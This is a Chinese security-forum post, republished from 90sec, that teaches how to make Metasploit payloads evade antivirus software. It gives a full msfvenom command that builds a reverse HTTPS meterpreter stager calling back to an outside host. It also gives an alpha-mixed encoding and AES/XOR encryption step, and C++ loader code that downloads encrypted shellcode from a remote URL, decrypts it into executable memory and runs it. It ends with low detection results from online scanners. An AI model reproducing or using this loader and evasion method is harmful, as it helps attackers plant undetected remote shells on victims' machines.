免杀就是那么回事
2020-02-26 01:38:16 Author: forum.90sec.com(查看原文) 阅读量:243 收藏

免杀这个词想必各位网络安全领域从业者并不陌生,对于从事攻防对抗的人来说,是一项非常重要的技能,有时候想用cs或msf反弹一个shell,但是由于安全软件的存在而被拦截,这是一件非常苦闷难受的事情,但是我们又不得不面对。专门去学习的话,需要大量时间不说,同时这方面的技术林林总总涉及的非常广,实话实说真不是那么容易就能掌握学会。大学时候就开始研究这方面的技术,当时买了一本黑客攻防免杀的书籍,跟着学习了之后对灰鸽子远控进行免杀,然而并没有免杀成功。工作了之后又不得不面对这样的场景,本文就给大家分享一种非常实用又简单的免杀方法,而且可以针对每个部分单独进行编码可以达到持续性免杀。文章内容是去年给团队做的分享,最近看到有人用公开的免杀工具做免杀,自认为即麻烦效果又一般,更何况这些工具一发出来怎么可能不被各大安全厂商盯上呢。文章内容没什么高深的技术,都是网上的资料,笔者只是研究总结将各个点串起来,形成一套实用的方法论,压着箱底也没啥意思,给大家分享一下。

用到的技术

  • 分离免杀

把shellcode 和 loader进行分离,shellcode不编译到代码通过通信协议传输到loader加载执行;或将shellcode隐藏到图片中,从图片中提取执行。

  • 加密技术

使用加密算法对shellcode 进行加密,执行的时候在内存进行解密加载执行

  • ShellCode loader

shellcode加载器,通常C/C++的做法是定义一个数组或分配一段内存存储shellcode,然后将shellcode的地址指针转换为函数指针进行调用。也可以自己实现一个比较复杂的 loader不容易查杀,或者使用其他语言编写loader。

实战:

本节通过实战一步一步带着大家实现msf的免杀。

编译环境:vs 2010

编写语言:c/c++

测试平台:virustotal 和virscan

步骤:

  1. 准备msf shellcode

  2. 加密shellcode

  3. 传输shellcode加载执行

准备msf shellcode

这里使用 payload windows/meterpreter/reverse_winhttps

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=flystart.org LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/opt/flystart.org.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -e x86/alpha_mixed -a windows -f raw -a x86 --platform windows BufferRegister=EAX -o payload

生成的payload 使用 alpha_mixed 加密算法进行加密,这样生成的shellcode就都是ascii 可见字符, BufferRegister=EAX 这个参数用来设置shellcode开始运行的时候起始地址必须保存的寄存器,换句话说shellcode 开始准备运行的时候,eax的值必须是shellcode的基址,我们在加载器中就可以通过以下方法加载shellcode

__asm{

mov eax,dword ptr Memory

call eax;

}
image

加密shellcode

为了免杀效果更好,可以使用一些加密算法对shellcode进行加密处理,作者使用aes加密器算法写了一个简单的加密器进行加密,代码里面还添加一种异或算法,可以进行修改使用。如果你使用其他shellcode,建议使用msf的编码器进行编码为ascii 可见字符shellcode,不然加密可能会出现意外结果。方法如下:

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform windows BufferRegister=EAX -o payload

Xor_Encry_File.exe -en payload bin_aes
image

Xor_encry_file.exe是笔者实现的加密程序,实现了aes和简单xor加密运算,当然各位可以使用自己擅长的编程语言编写加密程序,具体实现请参考代码。

image

为了测试shellcode 笔者使用python编写了可以直接生成c语言shellcode 头文件sh.h,添加到你的工程中即可,该脚本也实现c语言工程中的xor 加解密算法,通过-e 参数设置,默认不加密。

bin2_shellcode.py -f reverse_winhttps -e 1

image

image

传输shellcode加载执行

Shellcode的传输通过tcp和http协议来实现,大家可以使用ftp,smb等各种其他协议来实现;loader使用网上最简单的实现方式,可以使用python,go,c#等语言来编写可能免杀效果更好。

  • 通过http 信道传输shellcode
    代码中通过使用libcurl 下载shellcode 加载到内存运行
    核心代码如下:
string get_cipher(const string& url)
{
	string cipher="";
	CURL *curl;
	CURLcode res;
	string data;
	curl = curl_easy_init();
	if(curl) {
		curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
		curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeToString);
		curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data);
		res = curl_easy_perform(curl);
		cipher = data;
		curl_easy_cleanup(curl);
	}
	return cipher;
}


void call_masm()
{
	string url = "http://test.com/xx.jpg";
	string cipher = get_cipher(url);
	//std::cout << cipher << std::endl;
	if (cipher.length() > 0){
		string deStr= DecryptionAES(cipher);
		void* pMessage = (char*)deStr.c_str();
		unsigned long len_message = deStr.length();
		void*  Memory = VirtualAlloc(NULL, sizeof(pMessage)+1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		ZeroMemory(Memory,len_message+1);
		memcpy(Memory, pMessage, len_message);
		//((void(*)())Memory)();
	__asm{
		mov eax,dword ptr Memory
			call eax;
	}
	
	};
}

需要下载编译libcurl ,我们项目中使用的是静态库,所以需要编译静态库
https://curl.haxx.se/download/
笔者开发ide使用的是vs 2010,简单描述一下编译使用过程:
1.编译libcurl
a)下载curllib ,笔者使用的是版本curl -7.32.0
b)解压后使用vs 2010 打开 vs/vc6/目录下的dsw工程
c)选择编译 LIB Release,如果你想调试的话就选Debug版本

image

d)编译后会在vs/vc6/lib 目录下生成静态lib
image
e)项目中设置包含目录和库目录
设置环境变量
CURL_INC和CURL_LIB
例如 CURL_INC设置为C:\curl-7.32.0\curl-7.32.0\include
例如 CURL_LIB设置为C:\curl-7.32.0\vs\vc6\lib\lib-release

image

添加预定义处理CURL_STATICLIB

image

要使用libcurl必须要将ws2_32.lib wldap32.lib libcurl.lib 链接进去,可以添加如下代码
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wldap32.lib")
#pragma comment(lib,"libcurl.lib")

然后就可以编译通过了,具体参考代码,为了能够在别人的机器上也能够运行,我们必须编译为静态文件,注意MF使用和字符集的配置,同时代码中也需要添加
#pragma comment(lib, "Advapi32.lib")
不然编译会出错

image

image
  • 通过tcp信道传输shellcode
    代码通过tcp协议下载shellcode到内存加载执行,实现比较简单,详情参考代码。

    image

    image
  • 测试结果:
    www.virscan.orghttps://www.virustotal.com 测试结果显示,使用http隧道情况下,virscan显示没有一款可以检测到,virustotal有两款可以检测。使用tcp隧道情况下,virscan 一款可以检测到,而virustotal显示至少有八款杀毒引擎可以检测到。
    http 隧道检测结果对比:

    image

    image

本文只是笔者针对msf进行免杀的一个实践,技术范畴属于免杀技术里面很小的一部分,但至少可以应对实战中由于杀软的存在而遇到的难题,在有了 msf或cs shell之后,我们就可以进行后续的操作了,希望能给各位带来帮助。


文章来源: https://forum.90sec.com/t/topic/819/3
如有侵权请联系:admin#unsafe.sh